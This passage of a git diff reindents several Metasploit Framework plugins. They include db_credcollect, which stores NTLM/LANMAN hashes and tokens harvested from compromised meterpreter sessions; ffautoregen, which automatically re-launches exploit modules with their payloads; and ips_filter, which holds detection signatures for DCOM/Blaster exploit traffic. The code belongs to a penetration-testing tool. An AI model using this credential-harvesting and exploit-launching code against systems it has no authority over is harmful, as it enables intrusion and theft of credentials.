data[:port] = smb_port + data[:sname] = 'smb' + data[:user] = hash.user_name + data[:pass] = hash.lanman + ":" + hash.ntlm + data[:type] = "smb_hash" + data[:active] = true - self.framework.db.report_auth_info(data) - end + self.framework.db.report_auth_info(data) + end - # Record user tokens - tokens = session.incognito.incognito_list_tokens(0).values - # Meh, tokens come to us as a formatted string - tokens = tokens.join.strip!.split("\n") + # Record user tokens + tokens = session.incognito.incognito_list_tokens(0).values + # Meh, tokens come to us as a formatted string + tokens = tokens.join.strip!.split("\n") - tokens.each do |token| - data = {} - data[:host] = addr - data[:type] = 'smb_token' - data[:data] = token - data[:update] = :unique_data + tokens.each do |token| + data = {} + data[:host] = addr + data[:type] = 'smb_token' + data[:data] = token + data[:update] = :unique_data - self.framework.db.report_note(data) - end - end - end + self.framework.db.report_note(data) + end + end + end - def on_session_close(session,reason='') - end + def on_session_close(session,reason='') + end - def initialize(framework, opts) - super - self.framework.events.add_session_subscriber(self) - add_console_dispatcher(CredCollectCommandDispatcher) - end + def initialize(framework, opts) + super + self.framework.events.add_session_subscriber(self) + add_console_dispatcher(CredCollectCommandDispatcher) + end - def cleanup - self.framework.events.remove_session_subscriber(self) - remove_console_dispatcher('credcollect') - end + def cleanup + self.framework.events.remove_session_subscriber(self) + remove_console_dispatcher('credcollect') + end - def name - "db_credcollect" - end + def name + "db_credcollect" + end - def desc - "Automatically grabs hashes and tokens from meterpreter session events and stores them in the db" - end + def desc + "Automatically grabs hashes and tokens from meterpreter session events and stores them in the db" + end end end diff --git a/plugins/db_tracker.rb b/plugins/db_tracker.rb index d36239f767..5708a67466 100644 --- a/plugins/db_tracker.rb +++ b/plugins/db_tracker.rb @@ -14,62 +14,62 @@ module Msf class Plugin::DB_Tracer < Msf::Plugin - ### - # - # This class implements a socket communication tracker - # - ### - class DBTracerEventHandler - include Rex::Socket::Comm::Events + ### + # + # This class implements a socket communication tracker + # + ### + class DBTracerEventHandler + include Rex::Socket::Comm::Events - def on_before_socket_create(comm, param) - end + def on_before_socket_create(comm, param) + end - def on_socket_created(comm, sock, param) - # Ignore local listening sockets - return if not sock.peerhost + def on_socket_created(comm, sock, param) + # Ignore local listening sockets + return if not sock.peerhost - if (sock.peerhost != '0.0.0.0' and sock.peerport) + if (sock.peerhost != '0.0.0.0' and sock.peerport) - # Ignore sockets that didn't set up their context - # to hold the framework in 'Msf' - return if not param.context['Msf'] + # Ignore sockets that didn't set up their context + # to hold the framework in 'Msf' + return if not param.context['Msf'] - host = param.context['Msf'].db.find_or_create_host(:host => sock.peerhost, :state => Msf::HostState::Alive) - return if not host + host = param.context['Msf'].db.find_or_create_host(:host => sock.peerhost, :state => Msf::HostState::Alive) + return if not host - param.context['Msf'].db.report_service(:host => host, :proto => param.proto, :port => sock.peerport) - end - end - end + param.context['Msf'].db.report_service(:host => host, :proto => param.proto, :port => sock.peerport) + end + end + end - def initialize(framework, opts) - super + def initialize(framework, opts) + super - if(not framework.db.active) - raise PluginLoadError.new("The database backend has not been initialized") - end - framework.plugins.each { |plugin| - if (plugin.class == Msf::Plugin::DB_Tracer) - raise PluginLoadError.new("This plugin should not be loaded more than once") - end - } + if(not framework.db.active) + raise PluginLoadError.new("The database backend has not been initialized") + end + framework.plugins.each { |plugin| + if (plugin.class == Msf::Plugin::DB_Tracer) + raise PluginLoadError.new("This plugin should not be loaded more than once") + end + } - @eh = DBTracerEventHandler.new - Rex::Socket::Comm::Local.register_event_handler(@eh) - end + @eh = DBTracerEventHandler.new + Rex::Socket::Comm::Local.register_event_handler(@eh) + end - def cleanup - Rex::Socket::Comm::Local.deregister_event_handler(@eh) - end + def cleanup + Rex::Socket::Comm::Local.deregister_event_handler(@eh) + end - def name - "db_tracker" - end + def name + "db_tracker" + end - def desc - "Monitors socket calls and updates the database backend" - end + def desc + "Monitors socket calls and updates the database backend" + end end end diff --git a/plugins/editor.rb b/plugins/editor.rb index c084041445..f460d86c59 100644 --- a/plugins/editor.rb +++ b/plugins/editor.rb @@ -12,74 +12,74 @@ module Msf ### class Plugin::Editor < Msf::Plugin - ### - # - # This class implements a single edit command. - # - ### - class EditorCommandDispatcher - include Msf::Ui::Console::ModuleCommandDispatcher + ### + # + # This class implements a single edit command. + # + ### + class EditorCommandDispatcher + include Msf::Ui::Console::ModuleCommandDispatcher - # - # The dispatcher's name. - # - def name - "Editor" - end + # + # The dispatcher's name. + # + def name + "Editor" + end - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - # Don't update super here since we don't want the commands from - # super, just the methods - { - "edit" => "A handy editor commmand" - } - end + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + # Don't update super here since we don't want the commands from + # super, just the methods + { + "edit" => "A handy editor commmand" + } + end - # - # This method handles the edit command. - # - def cmd_edit(*args) - print_line("Launching editor...") + # + # This method handles the edit command. + # + def cmd_edit(*args) + print_line("Launching editor...") - e = Rex::Compat.getenv("EDITOR") || "vi" + e = Rex::Compat.getenv("EDITOR") || "vi" - if (not mod) or (not (path = mod.file_path)) - print_line("Error: No active module selected") - return nil - end + if (not mod) or (not (path = mod.file_path)) + print_line("Error: No active module selected") + return nil + end - ret = system(e, path) - if not ret - print_line("Failed to execute your editor (#{e})") - return - end + ret = system(e, path) + if not ret + print_line("Failed to execute your editor (#{e})") + return + end - reload - ret - end - end + reload + ret + end + end - def initialize(framework, opts) - super + def initialize(framework, opts) + super - # console dispatcher commands. - add_console_dispatcher(EditorCommandDispatcher) - end + # console dispatcher commands. + add_console_dispatcher(EditorCommandDispatcher) + end - def cleanup - remove_console_dispatcher('Editor') - end + def cleanup + remove_console_dispatcher('Editor') + end - def name - "editor" - end + def name + "editor" + end - def desc - "Simple Editor Plugin" - end + def desc + "Simple Editor Plugin" + end protected end diff --git a/plugins/event_tester.rb b/plugins/event_tester.rb index df8c0beb4a..3b7d2afc33 100644 --- a/plugins/event_tester.rb +++ b/plugins/event_tester.rb @@ -6,34 +6,34 @@ module Msf class Plugin::EventTester < Msf::Plugin - class Subscriber - def respond_to?(name) - # Why yes, I can do that. - true - end - def method_missing(name, *args) - $stdout.puts("Event fired: #{name}(#{args.join(", ")})") - end - end + class Subscriber + def respond_to?(name) + # Why yes, I can do that. + true + end + def method_missing(name, *args) + $stdout.puts("Event fired: #{name}(#{args.join(", ")})") + end + end - def name; "event_tester"; end + def name; "event_tester"; end - def initialize(framework, opts) - super - @subscriber = Subscriber.new - framework.events.add_exploit_subscriber(@subscriber) - framework.events.add_session_subscriber(@subscriber) - framework.events.add_general_subscriber(@subscriber) - framework.events.add_db_subscriber(@subscriber) - framework.events.add_ui_subscriber(@subscriber) - end - def cleanup - framework.events.remove_exploit_subscriber(@subscriber) - framework.events.remove_session_subscriber(@subscriber) - framework.events.remove_general_subscriber(@subscriber) - framework.events.remove_db_subscriber(@subscriber) - framework.events.remove_ui_subscriber(@subscriber) - end + def initialize(framework, opts) + super + @subscriber = Subscriber.new + framework.events.add_exploit_subscriber(@subscriber) + framework.events.add_session_subscriber(@subscriber) + framework.events.add_general_subscriber(@subscriber) + framework.events.add_db_subscriber(@subscriber) + framework.events.add_ui_subscriber(@subscriber) + end + def cleanup + framework.events.remove_exploit_subscriber(@subscriber) + framework.events.remove_session_subscriber(@subscriber) + framework.events.remove_general_subscriber(@subscriber) + framework.events.remove_db_subscriber(@subscriber) + framework.events.remove_ui_subscriber(@subscriber) + end end end diff --git a/plugins/ffautoregen.rb b/plugins/ffautoregen.rb index c940f41cdf..9125e6ff73 100644 --- a/plugins/ffautoregen.rb +++ b/plugins/ffautoregen.rb @@ -12,95 +12,95 @@ module Msf ### class Plugin::FFAutoRegen < Msf::Plugin - ### - # - # This class implements a single edit command. - # - ### - class FFAutoRegenCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + ### + # + # This class implements a single edit command. + # + ### + class FFAutoRegenCommandDispatcher + include Msf::Ui::Console::CommandDispatcher - # - # The dispatcher's name. - # - def name - "FFAutoRegen" - end + # + # The dispatcher's name. + # + def name + "FFAutoRegen" + end - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "ffautoregen" => "Automatically regenerate the document when the exploti source changes" - } - end + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "ffautoregen" => "Automatically regenerate the document when the exploti source changes" + } + end - # - # This method handles the command. - # - def cmd_ffautoregen(*args) - if (not active_module) or (not (path = active_module.file_path)) - print_line("Error: No active module selected") - return nil - end + # + # This method handles the command. + # + def cmd_ffautoregen(*args) + if (not active_module) or (not (path = active_module.file_path)) + print_line("Error: No active module selected") + return nil + end - last = mt = File.stat(path).mtime + last = mt = File.stat(path).mtime - loop { - sleep(1) - mt = File.stat(path).mtime + loop { + sleep(1) + mt = File.stat(path).mtime - if (mt != last) - last = mt + if (mt != last) + last = mt - omod = active_module - nmod = framework.modules.reload_module(active_module) - if not nmod - print_line("Error: Failed to reload module, trying again on next change...") - next - end + omod = active_module + nmod = framework.modules.reload_module(active_module) + if not nmod + print_line("Error: Failed to reload module, trying again on next change...") + next + end - active_module = nmod + active_module = nmod - jobify = false - payload = nmod.datastore['PAYLOAD'] - encoder = nmod.datastore['ENCODER'] - target = nmod.datastore['TARGET'] - nop = nmod.datastore['NOP'] + jobify = false + payload = nmod.datastore['PAYLOAD'] + encoder = nmod.datastore['ENCODER'] + target = nmod.datastore['TARGET'] + nop = nmod.datastore['NOP'] - nmod.exploit_simple( - 'Encoder' => encoder, - 'Payload' => payload, - 'Target' => target, - 'Nop' => nop, + nmod.exploit_simple( + 'Encoder' => encoder, + 'Payload' => payload, + 'Target' => target, + 'Nop' => nop, # 'OptionStr' => opt_str, - 'LocalInput' => driver.input, - 'LocalOutput' => driver.output, - 'RunAsJob' => jobify) - end - } - end - end + 'LocalInput' => driver.input, + 'LocalOutput' => driver.output, + 'RunAsJob' => jobify) + end + } + end + end - def initialize(framework, opts) - super + def initialize(framework, opts) + super - # console dispatcher commands. - add_console_dispatcher(FFAutoRegenCommandDispatcher) - end + # console dispatcher commands. + add_console_dispatcher(FFAutoRegenCommandDispatcher) + end - def cleanup - remove_console_dispatcher('FFAutoRegen') - end + def cleanup + remove_console_dispatcher('FFAutoRegen') + end - def name - "ffautoregen" - end + def name + "ffautoregen" + end - def desc - "FileFormat AutoRegen Plugin" - end + def desc + "FileFormat AutoRegen Plugin" + end protected end diff --git a/plugins/ips_filter.rb b/plugins/ips_filter.rb index 5efa06e46c..db0e05afda 100644 --- a/plugins/ips_filter.rb +++ b/plugins/ips_filter.rb @@ -15,44 +15,44 @@ module Msf class Plugin::IPSFilter < Msf::Plugin - ### - # - # This class implements a socket communication logger - # - ### - class IPSSocketEventHandler - include Rex::Socket::Comm::Events + ### + # + # This class implements a socket communication logger + # + ### + class IPSSocketEventHandler + include Rex::Socket::Comm::Events - def on_before_socket_create(comm, param) - end + def on_before_socket_create(comm, param) + end - def on_socket_created(comm, sock, param) - # Sockets created by the exploit have MsfExploit set and MsfPayload not set - if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) - sock.extend(IPSFilter::SocketTracer) - sock.context = param.context - end - end - end + def on_socket_created(comm, sock, param) + # Sockets created by the exploit have MsfExploit set and MsfPayload not set + if (param.context['MsfExploit'] and (! param.context['MsfPayload'] )) + sock.extend(IPSFilter::SocketTracer) + sock.context = param.context + end + end + end - def initialize(framework, opts) - super - @ips_eh = IPSSocketEventHandler.new - Rex::Socket::Comm::Local.register_event_handler(@ips_eh) - end + def initialize(framework, opts) + super + @ips_eh = IPSSocketEventHandler.new + Rex::Socket::Comm::Local.register_event_handler(@ips_eh) + end - def cleanup - Rex::Socket::Comm::Local.deregister_event_handler(@ips_eh) - end + def cleanup + Rex::Socket::Comm::Local.deregister_event_handler(@ips_eh) + end - def name - "ips_filter" - end + def name + "ips_filter" + end - def desc - "Scans all outgoing data to see if it matches a known IPS signature" - end + def desc + "Scans all outgoing data to see if it matches a known IPS signature" + end protected end @@ -63,57 +63,57 @@ end module IPSFilter module SocketTracer - attr_accessor :context + attr_accessor :context - # Hook the write method - def write(buf, opts = {}) - if (ips_match(buf)) - print_error "Outbound write blocked due to possible signature match" - return 0 - end - super(buf, opts) - end + # Hook the write method + def write(buf, opts = {}) + if (ips_match(buf)) + print_error "Outbound write blocked due to possible signature match" + return 0 + end + super(buf, opts) + end - # Hook the read method - def read(length = nil, opts = {}) - r = super(length, opts) - if (ips_match(r)) - print_error "Incoming read may match a known signature" - end - return r - end + # Hook the read method + def read(length = nil, opts = {}) + r = super(length, opts) + if (ips_match(r)) + print_error "Incoming read may match a known signature" + end + return r + end - def close(*args) - super(*args) - end + def close(*args) + super(*args) + end - def ips_match(data) - lp = localport - rp = peerport + def ips_match(data) + lp = localport + rp = peerport - SIGS.each do |s| - begin - r = Regexp.new(s[1]) - if (data.match(r)) - print_error "Matched IPS signature #{s[0]}" - return true - end - rescue ::Exception => e - print_error "Compiled error: #{s[1]}" - end - end + SIGS.each do |s| + begin + r = Regexp.new(s[1]) + if (data.match(r)) + print_error "Matched IPS signature #{s[0]}" + return true + end + rescue ::Exception => e + print_error "Compiled error: #{s[1]}" + end + end - return false - end + return false + end - # Extend this as needed :-) - SIGS = - [ - ['DCOM.C', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], - ['BLASTER', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], - ['REMACT', ".*\xb8\x4a\x9f\x4d\x1c\\}\xcf\x11\x86\x1e\x00\x20\xaf\x6e.*"], - ['x86 NOP SLED', "\x90\x90"], - ] + # Extend this as needed :-) + SIGS = + [ + ['DCOM.C', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], + ['BLASTER', ".*\\\x5c\x00\\\x5c\x00\x46\x00\x58\x00\x4e\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00.*\xcc\xe0\xfd\x7f.*"], + ['REMACT', ".*\xb8\x4a\x9f\x4d\x1c\\}\xcf\x11\x86\x1e\x00\x20\xaf\x6e.*"], + ['x86 NOP SLED', "\x90\x90"], + ] end end diff --git a/plugins/lab.rb b/plugins/lab.rb index 4e588f0622..dee4a8a2f0 100644 --- a/plugins/lab.rb +++ b/plugins/lab.rb @@ -10,568 +10,568 @@ require 'yaml' module Msf class Plugin::Lab < Msf::Plugin - class LabCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - attr_accessor :controller - - def initialize(driver) - super(driver) - @controller = nil - - # - # Require the lab gem, but fail nicely if it's not there. - # - begin - require 'lab' - rescue LoadError - raise "WARNING: Lab gem not found, Please 'gem install lab'" - end - - end - - # - # Returns the hash of commands supported by this dispatcher. - # - def commands - { - "lab_help" => "lab_help <lab command> - Show that command's description.", - "lab_show" => "lab_show - show all vms in the lab.", - "lab_search" => "lab_search - search local vms in the lab.", - "lab_search_tags" => "lab_search_tag - search local vms in the lab.", - #"lab_search_remote" => "lab_search_remote - search remote vms in the lab.", - "lab_show_running" => "lab_show_running - show running vms.", - "lab_load" => "lab_load [file] - load a lab definition from disk.", - "lab_save" => "lab_save [filename] - persist a lab definition in a file.", - "lab_load_running" => "lab_load_running [type] [user] [host] - use the running vms to create a lab.", - "lab_load_config" => "lab_load_config [type] [user] [host] - use the vms in the config to create a lab.", - "lab_load_dir" => "lab_load_dir [type] [directory] - create a lab from a specified directory.", - "lab_clear" => "lab_clear - clear the running lab.", - "lab_start" => "lab_start [vmid+|all] start the specified vm.", - "lab_reset" => "lab_reset [vmid+|all] reset the specified vm.", - "lab_suspend" => "lab_suspend [vmid+|all] suspend the specified vm.", - "lab_stop" => "lab_stop [vmid+|all] stop the specified vm.", - "lab_revert" => "lab_revert [vmid+|all] [snapshot] revert the specified vm.", - "lab_snapshot" => "lab_snapshot [vmid+|all] [snapshot] snapshot all targets for this exploit.", - "lab_upload" => "lab_upload [vmid] [local_path] [remote_path] upload a file.", - "lab_run_command" => "lab_run_command [vmid+|all] [command] run a command on all targets.", - "lab_browse_to" => "lab_browse_to [vmid+|all] [uri] use the default browser to browse to a uri." - } - end - - def name - "Lab" - end - - ## - ## Regular Lab Commands - ## - - def cmd_lab_load(*args) - return lab_usage unless args.count == 1 - - res = args[0] - good_res = nil - if (File.file? res and File.readable? res) - # then the provided argument is an absolute path and is gtg. - good_res = res - elsif - # let's check to see if it's in the data/lab dir (like when tab completed) - [ - ::Msf::Config.data_directory + File::SEPARATOR + "lab", - # there isn't a user_data_directory, but could use: - #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" - ].each do |dir| - res_path = dir + File::SEPARATOR + res - if (File.file?(res_path) and File.readable?(res_path)) - good_res = res_path - break - end - end - end - if good_res - @controller.from_file(good_res) - else - print_error("#{res} is not a valid lab definition file (.yml)") - end - end - - # - # Tab completion for the lab_load command - # - def cmd_lab_load_tabs(str, words) - tabs = [] - #return tabs if words.length > 1 - if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ ) - # then you are probably specifying a full path so let's just use normal file completion - return tab_complete_filenames(str,words) - elsif (not words[1] or not words[1].match(/^\//)) - # then let's start tab completion in the data/lab directory - begin - [ - ::Msf::Config.data_directory + File::SEPARATOR + "lab", - # there isn't a user_data_directory, but could use: - #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" - ].each do |dir| - next if not ::File.exist? dir - tabs += ::Dir.new(dir).find_all { |e| - path = dir + File::SEPARATOR + e - ::File.file?(path) and File.readable?(path) - } - end - rescue Exception - end - else - tabs += tab_complete_filenames(str,words) - end - return tabs - end - - def cmd_lab_load_dir(*args) - return lab_usage unless args.count == 2 - @controller.build_from_dir(args[0],args[1],true) - end - - def cmd_lab_clear(*args) - @controller.clear! - end - - def cmd_lab_save(*args) - return lab_usage if args.empty? - @controller.to_file(args[0]) - end - - def cmd_lab_load_running(*args) - return lab_usage if args.empty? - - if args[0] =~ /^remote_/ - return lab_usage unless args.count == 3 - ## Expect a username & password - @controller.build_from_running(args[0], args[1], args[2]) - else - return lab_usage unless args.count == 1 - @controller.build_from_running(args[0]) - end - end - - def cmd_lab_load_config(*args) - return lab_usage if args.empty? - - if args[0] =~ /^remote_/ - return lab_usage unless args.count == 3 - ## Expect a username & password - @controller.build_from_config(args[0], args[1], args[2]) - else - return lab_usage unless args.count == 1 - @controller.build_from_config(args[0]) - end - end - - def cmd_lab_load_dir(*args) - return lab_usage unless args.count == 2 - @controller.build_from_dir(args[0],args[1],true) - end - - def cmd_lab_clear(*args) - @controller.clear! - end - - def cmd_lab_save(*args) - return lab_usage if args.empty? - @controller.to_file(args[0]) - end - - - ## - ## Commands for dealing with a currently-loaded lab - ## - def cmd_lab_show(*args) - if args.empty? - hlp_print_lab - else - args.each do |name| - if @controller.includes_hostname? name - print_line @controller[name].to_yaml - else - print_error "Unknown vm '#{name}'" - end - end - end - end - - def cmd_lab_show_running(*args) - hlp_print_lab_running - end - - - def cmd_lab_search(*args) - if args.empty? - hlp_print_lab - else - args.each do |arg| - print_line "Searching for vms with hostname matching #{arg}" - @controller.each do |vm| - print_line "checking to see #{vm.hostname} matches #{arg}" - print_line "#{vm.hostname} matched #{arg}" if vm.hostname =~ Regexp.new(arg) - end - end - end - end - - def cmd_lab_search_tags(*args) - if args.empty? - hlp_print_lab - else - args.each do |arg| - print_line "Searching for vms with tags matching #{arg}" - @controller.each do |vm| - print_line "checking to see #{vm.hostname} is tagged #{arg}" - print_line "#{vm.hostname} tagged #{arg}" if vm.tagged?(arg) - end - end - end - end - - - def cmd_lab_start(*args) - return lab_usage if args.empty? - - if args[0] == "all" - @controller.each do |vm| - print_line "Starting lab vm #{vm.hostname}." - if !vm.running? - vm.start - else - print_line "Lab vm #{vm.hostname} already running." - end - end - else - args.each do |arg| - if @controller.includes_hostname? arg - vm = @controller.find_by_hostname(arg) - if !vm.running? - print_line "Starting lab vm #{vm.hostname}." - vm.start - else - print_line "Lab vm #{vm.hostname} already running." - end - end - end - end - end - - def cmd_lab_stop(*args) - return lab_usage if args.empty? - - if args[0] == "all" - @controller.each do |vm| - print_line "Stopping lab vm #{vm.hostname}." - if vm.running? - vm.stop - else - print_line "Lab vm #{vm.hostname} not running." - end - end - else - args.each do |arg| - if @controller.includes_hostname? arg - vm = @controller.find_by_hostname(arg) - if vm.running? - print_line "Stopping lab vm #{vm.hostname}." - vm.stop - else - print_line "Lab vm #{vm.hostname} not running." - end - end - end - end - end - - def cmd_lab_suspend(*args) - return lab_usage if args.empty? - - if args[0] == "all" - @controller.each{ |vm| vm.suspend } - else - args.each do |arg| - if @controller.includes_hostname? arg - if @controller.find_by_hostname(arg).running? - print_line "Suspending lab vm #{arg}." - @controller.find_by_hostname(arg).suspend - end - end - end - end - end - - def cmd_lab_reset(*args) - return lab_usage if args.empty? - - if args[0] == "all" - print_line "Resetting all lab vms." - @controller.each{ |vm| vm.reset } - else - args.each do |arg| - if @controller.includes_hostname? arg - if @controller.find_by_hostname(arg).running? - print_line "Resetting lab vm #{arg}." - @controller.find_by_hostname(arg).reset - end - end - end - end - end - - - def cmd_lab_snapshot(*args) - return lab_usage if args.count < 2 - snapshot = args[args.count-1] - - if args[0] == "all" - print_line "Snapshotting all lab vms to snapshot: #{snapshot}." - @controller.each{ |vm| vm.create_snapshot(snapshot) } - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - print_line "Snapshotting #{name_arg} to snapshot: #{snapshot}." - @controller[name_arg].create_snapshot(snapshot) - end - end - end - - - def cmd_lab_revert(*args) - return lab_usage if args.count < 2 - snapshot = args[args.count-1] - - if args[0] == "all" - print_line "Reverting all lab vms to snapshot: #{snapshot}." - @controller.each{ |vm| vm.revert_snapshot(snapshot) } - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - print_line "Reverting #{name_arg} to snapshot: #{snapshot}." - @controller[name_arg].revert_snapshot(snapshot) - end - end - end - - - def cmd_lab_run_command(*args) - return lab_usage if args.empty? - command = args[args.count-1] - if args[0] == "all" - print_line "Running command #{command} on all vms." - @controller.each do |vm| - if vm.running? - print_line "#{vm.hostname} running command: #{command}." - vm.run_command(command) - end - end - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - if @controller[name_arg].running? - print_line "#{name_arg} running command: #{command}." - @controller[name_arg].run_command(command) - end - end - end - end - - # - # Command: lab_upload [vmids] [from] [to] - # - # Description: Uploads a file to the guest(s) - # - # Quirks: Pass "all" as a vmid to have it operate on all vms. - # - def cmd_lab_upload(*args) - return lab_usage if args.empty? - return lab_usage if args.count < 3 - - local_path = args[args.count-2] - vm_path = args[args.count-1] - - if args[0] == "all" - @controller.each do |vm| - if vm.running? - print_line "Copying from #{local_path} to #{vm_path} on #{vm.hostname}" - vm.copy_to_guest(local_path, vm_path) - end - end - else - args[0..-2].each do |vmid_arg| - next unless @controller.includes_hostname? vmid_arg - if @controller[vmid_arg].running? - print_line "Copying from #{local_path} to #{vm_path} on #{vmid_arg}" - @controller[vmid_arg].copy_to_guest(local_path, vm_path) - end - end - end - end - - def cmd_lab_browse_to(*args) - return lab_usage if args.empty? - uri = args[args.count-1] - if args[0] == "all" - print_line "Opening: #{uri} on all vms." - @controller.each do |vm| - if vm.running? - print_line "#{vm.hostname} opening to uri: #{uri}." - vm.open_uri(uri) - end - end - else - args[0..-2].each do |name_arg| - next unless @controller.includes_hostname? name_arg - if @controller[name_arg].running? - print_line "#{name_arg} opening to uri: #{uri}." - @controller[name_arg].open_uri(uri) - end - end - end - end - - - ## - ## Commands for help - ## - - def longest_cmd_size - commands.keys.map {|x| x.size}.sort.last - end - - # No extended help yet, but this is where more detailed documentation - # on particular commands would live. Key is command, (not cmd_command), - # value is the documentation. - def extended_help - { - "lab_fake_cmd" => "This is a fake command. It's got its own special docs." + - (" " * longest_cmd_size) + "It might be long so so deal with formatting somehow." - } - end - - # Map for usages - def lab_usage - caller[0][/`cmd_(.*)'/] - cmd = $1 - if extended_help[cmd] || commands[cmd] - cmd_lab_help cmd - else # Should never really get here... - print_error "Unknown command. Try 'help'" - end - end - - def cmd_lab_help(*args) - if args.empty? - commands.each_pair {|k,v| print_line "%-#{longest_cmd_size}s - %s" % [k,v] } - else - args.each do |c| - if extended_help[c] || commands[c] - print_line "%-#{longest_cmd_size}s - %s" % [c,extended_help[c] || commands[c]] - else - print_error "Unknown command '#{c}'" - end - end - end - - print_line - print_line "In order to use this plugin, you'll want to configure a .yml lab file" - print_line "You can find an example in data/lab/test_targets.yml" - print_line - end - - - private - def hlp_print_lab - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Available Lab VMs', - 'Indent' => indent.length, - 'Columns' => [ 'Hostname', 'Driver', 'Type' ] - ) - - @controller.each do |vm| - tbl << [ vm.hostname, - vm.driver.class, - vm.type] - end - - print_line tbl.to_s - end - - def hlp_print_lab_running - indent = ' ' - - tbl = Rex::Ui::Text::Table.new( - 'Header' => 'Running Lab VMs', - 'Indent' => indent.length, - 'Columns' => [ 'Hostname', 'Driver', 'Type', 'Power?' ] - ) - - @controller.each do |vm| - if vm.running? - tbl << [ vm.hostname, - vm.driver.class, - vm.type, - vm.running?] - end - end - print_line tbl.to_s - end - - - end - - # - # The constructor is called when an instance of the plugin is created. The - # framework instance that the plugin is being associated with is passed in - # the framework parameter. Plugins should call the parent constructor when - # inheriting from Msf::Plugin to ensure that the framework attribute on - # their instance gets set. - # - attr_accessor :controller - - def initialize(framework, opts) - super - - ## Register the commands above - console_dispatcher = add_console_dispatcher(LabCommandDispatcher) - - @controller = ::Lab::Controllers::VmController.new - - ## Share the vms - console_dispatcher.controller = @controller - end - - - # - # The cleanup routine for plugins gives them a chance to undo any actions - # they may have done to the framework. For instance, if a console - # dispatcher was added, then it should be removed in the cleanup routine. - # - def cleanup - # If we had previously registered a console dispatcher with the console, - # deregister it now. - remove_console_dispatcher('Lab') - end - - # - # This method returns a short, friendly name for the plugin. - # - def name - "lab" - end - - # - # This method returns a brief description of the plugin. It should be no - # more than 60 characters, but there are no hard limits. - # - def desc - "Adds the ability to manage VMs" - end + class LabCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + attr_accessor :controller + + def initialize(driver) + super(driver) + @controller = nil + + # + # Require the lab gem, but fail nicely if it's not there. + # + begin + require 'lab' + rescue LoadError + raise "WARNING: Lab gem not found, Please 'gem install lab'" + end + + end + + # + # Returns the hash of commands supported by this dispatcher. + # + def commands + { + "lab_help" => "lab_help <lab command> - Show that command's description.", + "lab_show" => "lab_show - show all vms in the lab.", + "lab_search" => "lab_search - search local vms in the lab.", + "lab_search_tags" => "lab_search_tag - search local vms in the lab.", + #"lab_search_remote" => "lab_search_remote - search remote vms in the lab.", + "lab_show_running" => "lab_show_running - show running vms.", + "lab_load" => "lab_load [file] - load a lab definition from disk.", + "lab_save" => "lab_save [filename] - persist a lab definition in a file.", + "lab_load_running" => "lab_load_running [type] [user] [host] - use the running vms to create a lab.", + "lab_load_config" => "lab_load_config [type] [user] [host] - use the vms in the config to create a lab.", + "lab_load_dir" => "lab_load_dir [type] [directory] - create a lab from a specified directory.", + "lab_clear" => "lab_clear - clear the running lab.", + "lab_start" => "lab_start [vmid+|all] start the specified vm.", + "lab_reset" => "lab_reset [vmid+|all] reset the specified vm.", + "lab_suspend" => "lab_suspend [vmid+|all] suspend the specified vm.", + "lab_stop" => "lab_stop [vmid+|all] stop the specified vm.", + "lab_revert" => "lab_revert [vmid+|all] [snapshot] revert the specified vm.", + "lab_snapshot" => "lab_snapshot [vmid+|all] [snapshot] snapshot all targets for this exploit.", + "lab_upload" => "lab_upload [vmid] [local_path] [remote_path] upload a file.", + "lab_run_command" => "lab_run_command [vmid+|all] [command] run a command on all targets.", + "lab_browse_to" => "lab_browse_to [vmid+|all] [uri] use the default browser to browse to a uri." + } + end + + def name + "Lab" + end + + ## + ## Regular Lab Commands + ## + + def cmd_lab_load(*args) + return lab_usage unless args.count == 1 + + res = args[0] + good_res = nil + if (File.file? res and File.readable? res) + # then the provided argument is an absolute path and is gtg. + good_res = res + elsif + # let's check to see if it's in the data/lab dir (like when tab completed) + [ + ::Msf::Config.data_directory + File::SEPARATOR + "lab", + # there isn't a user_data_directory, but could use: + #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" + ].each do |dir| + res_path = dir + File::SEPARATOR + res + if (File.file?(res_path) and File.readable?(res_path)) + good_res = res_path + break + end + end + end + if good_res + @controller.from_file(good_res) + else + print_error("#{res} is not a valid lab definition file (.yml)") + end + end + + # + # Tab completion for the lab_load command + # + def cmd_lab_load_tabs(str, words) + tabs = [] + #return tabs if words.length > 1 + if ( str and str =~ /^#{Regexp.escape(File::SEPARATOR)}/ ) + # then you are probably specifying a full path so let's just use normal file completion + return tab_complete_filenames(str,words) + elsif (not words[1] or not words[1].match(/^\//)) + # then let's start tab completion in the data/lab directory + begin + [ + ::Msf::Config.data_directory + File::SEPARATOR + "lab", + # there isn't a user_data_directory, but could use: + #::Msf::Config.user_plugins_directory + File::SEPARATOR + "lab" + ].each do |dir| + next if not ::File.exist? dir + tabs += ::Dir.new(dir).find_all { |e| + path = dir + File::SEPARATOR + e + ::File.file?(path) and File.readable?(path) + } + end + rescue Exception + end + else + tabs += tab_complete_filenames(str,words) + end + return tabs + end + + def cmd_lab_load_dir(*args) + return lab_usage unless args.count == 2 + @controller.build_from_dir(args[0],args[1],true) + end + + def cmd_lab_clear(*args) + @controller.clear! + end + + def cmd_lab_save(*args) + return lab_usage if args.empty? + 